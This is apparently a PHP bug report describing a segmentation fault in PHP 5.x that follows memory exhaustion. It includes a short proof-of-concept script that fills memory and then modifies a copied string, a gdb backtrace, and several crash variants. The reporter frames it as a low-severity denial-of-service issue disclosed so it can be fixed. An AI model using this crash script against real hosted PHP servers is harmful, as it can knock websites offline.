Description:
------------
tested on: windows 7 (64bit), windows 10 (64bit), manjaro linux (64bit) using php5.6.12, 5.4.40, 5.3.13 with cli, xamp/wamp, nginx.

an attacker are able to crash php completely by oversizing bytes string/array conversation. php do a error message, then it crash.

i think this vulnerable is a low level. but crashes of php are able. for example: many server programs (for example xamp) include php and not all of them restart php after crashes and not check for crashes (mainly windows). well, it create the chance to put a website down by crashing php.

screenshot (cli): http://unnex.de/phptest-89co-3012jc/ias9zc98sa8cz78as9-cli.png
screenshot (wamp): http://unnex.de/phptest-89co-3012jc/8a98zsc0po10-wamp-apache.png


Test script:
---------------
<?php
$size=(int)(substr(ini_get('memory_limit'), 0, strlen(ini_get('memory_limit'))-1))*1048576;
$b=$size/1.5; if ($b<67108864) { $e=100000; } else { $e=10000000; } $f='a'; $i=0; $d=''; while ($i<$e) { $d.=$f; $xi=1; $i++; }
$i=0; $c=''; $ba=$b-$e; while ($i<$b) { $c.=$d; $i+=$e; } while ($i<$b) { $c.=$f; $i++; }
$a=$c; $c[0]='';
?>

Actual result:
--------------
[test script]
PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 90000001 bytes) in C:\php5612\mem.php on line 5
-then crash by: $c[0]='';

(gdb) r mem.php
Starting program: C:\php5612\php.exe mem.php
[New Thread 4944.0x1088]
PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 90000001 bytes) in C:\php5612\mem.php on line 5

Program received signal SIGSEGV, Segmentation fault.
0x000007fede8c5a2a in php5ts!_zval_dtor_func () from C:\php5612\php5ts.dll
(gdb) bt
#0  0x000007fede8c5a2a in php5ts!_zval_dtor_func () from C:\php5612\php5ts.dll
#1  0x000007fede8c53f6 in php5ts!_zval_ptr_dtor () from C:\php5612\php5ts.dll
#2  0x000007fede8d4e2c in zend_hash_graceful_reverse_destroy () from C:\php5612\php5ts.dll
#3  0x000007fede8d47e2 in zend_shutdown_fpu () from C:\php5612\php5ts.dll
#4  0x000007fede8d7bb4 in zend_deactivate () from C:\php5612\php5ts.dll
#5  0x000007fede8d77d1 in php_request_shutdown () from C:\php5612\php5ts.dll
#6  0x000000013f632bca in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

check authenticity:
#$a=$c; $c[0]=''; #crash
#$c.=$c; $c[0]=''; #no crash
#$a=$c; $a[0]=''; #crash
#$a=$c; $a.=$a; #crash
#$a=$c; $a.=''; #crash